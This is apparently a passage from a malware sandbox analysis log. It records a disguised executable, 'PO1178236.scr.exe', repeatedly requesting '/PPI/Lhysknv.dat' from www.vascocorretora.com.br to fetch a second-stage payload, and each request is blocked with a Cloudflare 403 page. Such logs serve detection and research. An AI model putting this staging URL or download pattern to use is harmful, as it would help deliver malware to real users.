2025-01-09 07:29:12 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:29:12 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 30 34 66 65 39 30 34 32 36 61 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b704fe90426a</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:29:12 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 30 34 66 65 39 30 34 32 36 61 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 31 4d 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b704fe90426a',t:'MTczNjQwNzc1Mi4wMDAwMDA='};v
2025-01-09 07:29:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49821	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:13 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:13 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CcUxDB9HrPP5bcnbzOpjYqfJCanFXE2M6iY7rp%2BqA23Zkmiz2iljk%2Bc1ziXz8JwgGYDHH68rrHsQHFUz6afMHYlEdAp3m0z13SGtq%2B%2FDKcc9afF2wpVbL%2F8X8Li44WLNvRPxaway3uoS84S9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b708dab142bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1740&min_rtt=1737&rtt_var=654&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1681059&cwnd=193&unsent_bytes=0&cid=bdb0ee2476a314af&ts=141&x=0"
2025-01-09 07:29:13 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:13 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:29:13 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:29:13 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 30 38 64 61 62 31 34 32 62 62 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b708dab142bb</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:29:13 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 30 38 64 61 62 31 34 32 62 62 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 31 4d 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b708dab142bb',t:'MTczNjQwNzc1My4wMDAwMDA='};v
2025-01-09 07:29:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49822	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:13 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:13 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wc37U3pRhbXmgEnAW9RqWOkpifU2w8%2FonAezgv87P0OPJWYR%2BQzB2gkOGqUHigujC1tKOjFQZc2McjUFpbOBAh3a5GJ%2Fkx1Mt%2FwKkH9E2awVFlwkb5tHGDuKAWvOjJ%2FHLDSV9dmV8tvQV0Rs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b70cacb142ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2290&min_rtt=2271&rtt_var=865&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1285777&cwnd=218&unsent_bytes=0&cid=2560c60efcd45eeb&ts=141&x=0"
2025-01-09 07:29:13 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:13 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:29:13 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:29:13 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 30 63 61 63 62 31 34 32 65 65 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b70cacb142ee</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:29:13 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 30 63 61 63 62 31 34 32 65 65 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 31 4d 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b70cacb142ee',t:'MTczNjQwNzc1My4wMDAwMDA='};v
2025-01-09 07:29:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49823	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:14 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:14 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:29 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O25C291HVbb6%2Be2cEcswjQojSPUEhXJTSJ2qsdlZ3YOfmQgm6Yr%2Bt0iLXhekTE9RgnLI8fL5QhvEZ2QAwtfh%2FaQB7zXndqDW0mHtEg2Vh57hEjOLdyCrnZiDKi4x1z%2Fv2frDbN%2BS%2FEhuybGx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7106fd442d8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1756&min_rtt=1751&rtt_var=667&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1626740&cwnd=222&unsent_bytes=0&cid=afcccd592605d958&ts=136&x=0"
2025-01-09 07:29:14 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:14 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
2025-01-09 07:29:14 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:29:14 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 31 30 36 66 64 34 34 32 64 38 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 